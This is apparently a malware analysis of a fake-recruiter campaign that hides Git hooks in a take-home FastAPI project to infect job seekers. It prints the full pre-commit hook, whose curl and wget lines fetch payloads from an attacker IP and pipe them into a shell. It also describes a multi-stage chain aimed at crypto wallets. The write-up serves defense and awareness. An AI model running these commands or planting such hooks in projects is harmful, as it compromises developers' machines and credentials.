A developer discovered a malware campaign using fake take-home interview projects to compromise job seekers. The attacker posed as a recruiter on LinkedIn, offering a Python developer role at a Y Combinator startup with a salary of $10,000-$15,000 per month. The project was hosted on Google Drive as a zip archive containing a seemingly legitimate FastAPI backend with SQLAlchemy.
The Hidden Payload
Running tree -a revealed a .git/hooks directory packed with pre-configured Git hooks. The pre-commit hook contained this script:
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
esac
The script checks the OS and downloads a remote payload from a raw IP address. The Linux payload fetches a second-stage script named tokenlinux.npl, renames it to tokenlinux.sh, and executes it in the background via nohup.
Multi-Stage Infection Chain
Stage two installs Node.js if missing, then downloads parser.js and package.json from the same server. The package.json includes suspicious dependencies:
{
"name": "tokendapp",
"version": "1.0.0",
"dependencies": {
"axios": "^1.12.2",
"basic-ftp": "^5.0.5",
"child_process": "^1.0.2",
"clipboardy": "^4.0.0",
"crypto": "^1.0.1",
"execp": "^0.0.1",
"fs": "^0.0.1-security",
"jsonwebtoken": "^9.0.2",
"process": "^0.11.10",
"ps-node": "^0.1.6",
"request": "^2.88.2"
},
"devDependencies": {
"hardhat": "^2.20.2"
}
}
The inclusion of hardhat (an Ethereum development framework), clipboardy (clipboard access), and jsonwebtoken strongly suggests the malware targets cryptocurrency wallets. The id=402 parameter likely tracks victims and delivers tailored payloads.
Attack Vector Variations
Other victims reported receiving projects with a .vscode folder containing malicious launch commands that execute on opening the directory in VS Code—no Git command required. The attackers cloned a public FastAPI repo from GitHub (Bgogoi123/personal-finance-service) and added the hidden hooks.
Technical Analysis
The attacker's server at 45.61.164.38 runs OpenSSH 9.6p1 on Ubuntu, with no known CVEs at the time of scanning. The parser.js file was heavily obfuscated and refused analysis by Claude. Gemini was able to partially deobfuscate it, but the code remained opaque. The .npl extension matches known threat actor patterns.
What Developers Should Do
- Always inspect hidden directories (
tree -a) in project files from untrusted sources. - Review Git hooks before running any Git commands.
- Be skeptical of unsolicited recruiter messages with high salaries and immediate take-home projects.
- Run suspicious code in isolated environments (VMs or containers).
The assignment PDF explicitly included Git tasks to trigger the hooks. The attacker deleted the Google Drive folder after being discovered.



